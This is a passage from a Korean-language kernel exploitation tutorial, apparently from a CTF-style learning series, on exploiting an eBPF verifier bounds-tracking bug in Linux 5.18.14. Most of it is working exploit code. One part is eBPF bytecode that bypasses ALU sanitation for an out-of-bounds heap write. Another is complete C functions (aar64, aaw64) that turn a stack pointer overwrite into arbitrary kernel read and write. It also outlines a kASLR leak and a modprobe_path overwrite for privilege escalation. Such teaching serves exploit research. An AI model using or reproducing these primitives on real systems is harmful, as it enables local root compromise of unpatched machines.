실제로 시도해 봅시다. 현재 BPF 맵 데이터 크기는 8이므로, 8바이트 이상 복사할 수 있으면 성공입니다.
시험 삼아 검증기가 1로 판단하고 실제 값이 0x10인 레지스터를 만듭니다. write로 0x10바이트 이상의 데이터를 보내고, 그것이 맵에 복사되었는지 gdb로 확인합니다. (크기로 0(으로 추측되는 값)을 넘기면 검증기가 경고하므로 주의)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
    // R1 --> 0 / actual: 1
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

    // R1 --> 1 / actual: 0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // map[0]에 쓰기 (ALU sanitation 우회)
    BPF_MOV64_IMM(BPF_REG_ARG2, 0),              // arg2=offset (0)
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9),      // arg3=to (&map[0])
    BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),      // arg4=len (1/0x10)
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),      // arg1=skb
    BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
...

위 프로그램에서는 BPF 맵의 0번째 요소(처음에 얻은 주소 R9에 저장함)에 대해 skb_load_bytes로 패킷 데이터를 씁니다. 실제로는 0x10바이트 써지지만, 검증기는 1바이트라고 추측하고 있어 허용됩니다.
프로그램을 호출할 때 다음과 같이 0x10바이트 데이터를 보내봅시다.

1
2
3
4
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = 0xdeadbeefcafebabe;
write(socks[1], payload, 0x10);

실행 후 gdb에서 맵 주소를 확인하면, 아래 그림과 같이 이번 데이터 크기인 8바이트를 초과하여 써진 것을 알 수 있습니다.

ALU sanitation을 우회한 범위 밖 쓰기

힙에서의 범위 밖 쓰기가 실현되었으므로, 이후에는 여러분이 좋아하는 방법으로 exploit 할 수 있을 것입니다. 예를 들어 BPF 맵을 2개 나란히 두고, 뒤쪽 맵의 ops를 덮어쓰는 등의 방법이 생각납니다.
하지만 모처럼이니 이번에는 BPF의 특징을 살려 AAR/AAW를 실현해 봅시다.

AAR/AAW 생성

BPF 스택에는 포인터를 쓸 수 있다는 점을 떠올려 봅시다. 스택에 저장한 데이터는 타입이나 범위가 추적되고 있습니다.
따라서 skb_load_bytes를 사용해 스택 위에서 범위 밖[2] 쓰기를 하면, 스택에 저장된 포인터를 패킷 데이터로 덮어쓸 수 있습니다. 덮어씌워진 후에도 검증기는 포인터로 인식하고 있기 때문에, 가짜 포인터를 읽고 쓸 수 있습니다.

그림으로 나타내면 다음과 같습니다.

포인터 덮어쓰기에 의한 AAR/AAW

마지막으로 덮어씌워진 FP-0x18에 있는 데이터는 포인터로서 마크되어 있기 때문에, BPF_LDX_MEM으로 꺼내면 포인터로 취급할 수 있습니다.
이처럼 BPF의 특징을 살리면 간단히 AAR/AAW를 만들 수 있습니다.

AAR/AAW의 PoC 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/**
 * 임의 주소 읽기
 */
unsigned long aar64(int mapfd, unsigned long addr) {
  char verifier_log[0x10000];
  unsigned long val;

  val = 1;
  map_update(mapfd, 0, &val);

  /* BPF 프로그램 */
  struct bpf_insn insns[] = {
    // R8 --> context
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

    // R0 --> &map[0]
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

    // R1 --> var_off=(value=0; mask=0xffffffff00000000)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    // R2 --> var_off=(value=0xfffffffe00000001; mask=0)
    BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
    // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

    // R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
    BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),

    // R1 --> 0 / actual: 1
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

    // FP-0x18에 유효한 포인터 설치 (*)
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

    // R1 --> 1 / actual: 0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // (*)에서 준비한 스택 위 포인터 덮어쓰기 (ALU sanitation 우회)
    BPF_MOV64_IMM(BPF_REG_ARG2, 0),              // arg2=offset (0)
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),     // arg3=to (FP-0x20)
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
    BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),      // arg4=len (1/0x10)
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),      // arg1=skb
    BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

    // 덮어씌워진 (*) 포인터 획득
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

    // 임의 주소 읽기/쓰기 가능
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // 가짜 포인터에서 읽기

    // 릭 한 데이터를 사용자 공간에서 받음
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_IMM(BPF_REG_ARG4, 0),          // flag
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
  };

  /* 소켓용 설정 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPF 프로그램 로드 */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* 소켓 생성 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* 소켓 이용（BPF 프로그램 발동） */
  char payload[0x10];
  *(unsigned long*)&payload[0] = 0x4141414141414141;
  *(unsigned long*)&payload[8] = addr; // 릭 할 주소
  write(socks[1], payload, 0x10);

  map_lookup(mapfd, 0, &val);
  return val;
}

/**
 * 임의 주소 쓰기
 */
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
  char verifier_log[0x10000];
  unsigned long val;

  val = 1;
  map_update(mapfd, 0, &val);

  /* BPF 프로그램 */
  struct bpf_insn insns[] = {
    // R8 --> context
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

    // R0 --> &map[0]
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

    // R1 --> var_off=(value=0; mask=0xffffffff00000000)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    // R2 --> var_off=(value=0xfffffffe00000001; mask=0)
    BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
    // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

    // R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
    BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),

    // R1 --> 0 / actual: 1
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

    // FP-0x18에 유효한 포인터 설치 (*)
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

    // R1 --> 1 / actual: 0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // (*)에서 준비한 스택 위 포인터 덮어쓰기 (ALU sanitation 우회)
    BPF_MOV64_IMM(BPF_REG_ARG2, 0),              // arg2=offset (0)
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),     // arg3=to (FP-0x20)
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
    BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),      // arg4=len (1/0x10)
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),      // arg1=skb
    BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

    // 덮어씌워진 (*) 포인터 획득
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

    // 임의 주소 읽기/쓰기 가능
    BPF_MOV64_IMM(BPF_REG_1, value >> 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, value & 0xffffffff),
    BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), // 가짜 포인터에 쓰기

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
  };

  /* 소켓용 설정 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPF 프로그램 로드 */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* 소켓 생성 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* 소켓 이용（BPF 프로그램 발동） */
  char payload[0x10];
  *(unsigned long*)&payload[0] = 0x4141414141414141;
  *(unsigned long*)&payload[8] = addr; // 덮어쓸 주소
  write(socks[1], payload, 0x10);
}

kASLR 우회 및 권한 상승

지금 맵 주소를 가지고 있으므로, bpf_map의 ops 등을 가리키는 가짜 포인터를 만듦으로써 커널 베이스 주소를 릭 할 수 있습니다. 또한 베이스 주소를 얻으면 AAW로 modprobe_path 등을 덮어써서 권한 상승할 수 있습니다.
각자 exploit을 완성해 봅시다. exploit 코드 예시는 여기에서 다운로드할 수 있습니다.

이번 버그에서는 min_value > max_value라는 상황을 만들 수 있었기 때문에, adjust_ptr_min_max_vals를 악용하여 BPF 맵 주소를 릭 했습니다.
(1) BPF 맵이나 BPF 스택, 컨텍스트 주소를 릭 하지 않고 exploit을 완성해 주세요.
(2) 또한 skb_load_bytes에 의한 힙 오버플로우를 이용하여 (BPF 스택을 쓰지 않고) exploit을 완성해 주세요.

  1. Linux 커널 버전은 5.18.14입니다. ↩︎

  2. 스택 범위 내이지만 값의 범위 밖 ↩︎